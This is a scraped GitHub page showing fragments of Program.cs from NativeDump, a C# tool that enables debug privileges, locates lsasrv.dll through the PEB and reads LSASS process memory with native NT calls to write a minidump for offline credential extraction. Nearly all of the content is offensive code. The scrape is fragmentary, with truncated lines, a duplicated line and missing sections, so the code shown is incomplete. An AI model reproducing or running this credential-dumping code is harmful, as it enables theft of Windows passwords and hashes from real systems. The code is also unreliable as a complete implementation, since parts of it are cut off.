Sign in

ricardojoserf / NativeDump Public

Notifications Fork 64 Star 459

Code Issues Pull requests Actions Projects Security Insights

NativeDump / NativeDump / Program.cs

277 lines (243 loc) · 11.8 KB

Code Blame Raw

```
using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using static NativeDump.Win32;
using static NativeDump.CreateFile;

namespace NativeDump
{
    internal class Program
    {
        static void EnableDebugPrivileges()
        {
            IntPtr currentProcess = Process.GetCurrentProcess().Handle;
            IntPtr tokenHandle = IntPtr.Zero;
            try
            {
                uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVI
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstat
                    Environment.Exit(-1);
                }

                TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
                {
                    PrivilegeCount = 1,
                    Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "
                    Attributes = 0x00000002
                };

                ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)M
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + n
                    Environment.Exit(-1);
                }
            }
            finally
            {
                if (tokenHandle != IntPtr.Zero)
                {
                    NtClose(tokenHandle);
                }
            }
        }


        public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
        {
            byte[] buff = new byte[8];
            uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
            if (ntstatus != 0)
            {
                Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.
            }
            long value = BitConverter.ToInt64(buff, 0);
            return (IntPtr)value;
        }


        public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
        {
            byte[] buff = new byte[256];
            uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
            if (ntstatus != 0)
            {
                Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.
            }
            string unicode_str = "";
            for (int i = 0; i < buff.Length - 1; i += 2)
            {
```

```
                if (buff[i] == 0 && buff[i + 1] == 0) { break; }
                unicode_str += BitConverter.ToChar(buff, i);
            }
            return unicode_str;
        }


        public unsafe static IntPtr CustomGetModuleHandle(IntPtr hProcess, String dll_name)
        {
            uint process_basic_information_size = 48;
            int peb_offset = 0x8;
            int ldr_offset = 0x18;
            int inInitializationOrderModuleList_offset = 0x30;
            int flink_dllbase_offset = 0x20;
            int flink_buffer_offset = 0x50;
            // If 32-bit process these offsets change
            if (IntPtr.Size == 4)
            {
                process_basic_information_size = 24;
                peb_offset = 0x4;
                ldr_offset = 0x0c;
                inInitializationOrderModuleList_offset = 0x1c;
                flink_dllbase_offset = 0x18;
                flink_buffer_offset = 0x30;
            }

            // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
            byte[] pbi_byte_array = new byte[process_basic_information_size];

            // Create a PROCESS_BASIC_INFORMATION structure in the byte array
            IntPtr pbi_addr = IntPtr.Zero;
            fixed (byte* p = pbi_byte_array)
            {
                pbi_addr = (IntPtr)p;

                uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_in
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" +
                }
                Console.WriteLine("[+] Process_Basic_Information Address: \t\t0x" + pbi_addr.ToStri
            }

            // Get PEB Base Address
            IntPtr peb_pointer = pbi_addr + peb_offset;
            Console.WriteLine("[+] PEB Address Pointer:\t\t\t0x" + peb_pointer.ToString("X"));
```

```
                    Console.WriteLine("[+] PEB Address Pointer:\t\t\t0x" + peb_pointer.ToString("X"));
```

```

            while ((long)mem_address < proc_max_address_l)
            {
                // Populate MEMORY_BASIC_INFORMATION struct
                MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
                ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInfo
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntst

                }

                // If readable and commited --> Write memory region to a file
                if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
                {
                    // Add to Memory64Info list
                    Memory64Info mem64info = new Memory64Info();
                    mem64info.Address = mbi.BaseAddress;
                    mem64info.Size = mbi.RegionSize;
                    mem64info_List.Add(mem64info);

                    // Dump memory
                    byte[] buffer = new byte[(int)mbi.RegionSize];
                    ntstatus = NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi
                    if (ntstatus != 0 && ntstatus != 0x8000000D)
                    {
                        Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + r
                    }
                    byte[] new_bytearray = new byte[memory_regions.Length + buffer.Length];
                    Buffer.BlockCopy(memory_regions, 0, new_bytearray, 0, memory_regions.Length);
                    Buffer.BlockCopy(buffer, 0, new_bytearray, memory_regions.Length, buffer.Length
                    memory_regions = new_bytearray;

                    // Calculate size of lsasrv.dll region
                    if (mbi.BaseAddress == lsasrvdll_address)
                    {
                        bool_test = true;
                    }
                    if (bool_test == true)
                    {
                        if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address)
                        {
                            bool_test = false;
                        }
                        else
                        {
                            lsasrvdll_size += (int)mbi.RegionSize;
                        }
                    }
                }
                // Next memory region
                mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
            }
```

```

                // Get file name
                string dumpfile = "proc_" + processPID + ".dmp";
                if (args.Length > 0)
                {
                    dumpfile = args[0];
                }

                // Generate Minidump file
                Console.WriteLine("[+] Lsasrv.dll Address:\t\t\t\t0x" + lsasrvdll_address.ToString("X")
                Console.WriteLine("[+] Lsasrv.dll Size:   \t\t\t\t0x" + lsasrvdll_size.ToString("X"));
                CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpf

                // Close process handle
                ntstatus = NtClose(processHandle);
                if (ntstatus != 0)
                {
                    Console.WriteLine("[-] Error calling NtClose. NTSTATUS: 0x" + ntstatus.ToString("X"
                }
            }
        }
    }
```